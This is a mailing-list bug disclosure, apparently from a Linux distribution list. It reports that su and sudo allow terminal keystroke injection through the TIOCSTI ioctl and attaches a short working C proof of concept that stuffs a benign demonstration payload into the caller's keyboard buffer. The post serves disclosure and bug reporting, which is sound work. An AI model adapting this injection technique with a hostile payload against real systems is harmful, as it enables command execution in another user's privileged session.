[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

su/sudo arbitrary character injection in keyboard buffer [Was: init scripts and su]



Hi.

I've filed bugs against su (package `login') & sudo.  I've made a simple
proof-of-concept program (attached).  Despite of what has been said
earlier, it can ioctl(0,TIOCSTI,&c), even after fork(). It's important
to realize that the actual mechanism of making the ioctl()s happen is
not as interesting as the fact, that a code from one security domain is
allowed to write and execute (and read--is there a similar ioctl() for
reading, so for example getty spoofing/password harvesting would be
possible?) in another security domain.

However, the only thing the attacker will have to do after owning
particular service run from /etc/init.d (provided it's vulnerable), is
to crash it, and wait until the admin notices that and decides to
restart it.

Not only TIOCSTI is a problem: all reading/writing from/to the tty, as
well as executing is not always what is expected/ok, after the program
ends/detaches from the controlling tty.

Last but not least, can someone check whether super and other similar
programs are vulnerable, and file bugs if they are?

Cheers,
Jan.

-- 
   "To me, clowns aren't funny. In fact, they're kind of scary. I've wondered
 where this started and I think it goes back to the time I went to the circus,
			  and a clown killed my dad."
/*
 * sploit-poc.c -- su/sudo arbitrary character injection POC 
 *
 * Usage:
 *   % gcc -o su-sploit-poc su-sploit-poc.c
 *   % su <user> -c ./su-sploit-poc&
 *   % sudo -u <user> ./su-sploit-poc&
 */

#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>


int
main (void) {
  char *payload = "date\necho 'Hello, world!'";
  int c, i;
  pid_t pid;

  if ((pid = fork()) == 0) {
      return 0;
  } else if (pid == -1) {
      perror ("Can't fork");
      return 1;
  } else {
      sleep (1);
      /* Keep stuffing characters into the keyboard buffer... */
      for (i=0; (c = payload[i]) != '\0'; i++) {
	  if (ioctl (0, TIOCSTI, &c) == -1) {
	      perror ("ioctl() failed");
	      return 1;
	  }
      }
  }
  return 0;
}

Attachment: pgpomgCuU_T1C.pgp
Description: PGP signature


Reply to: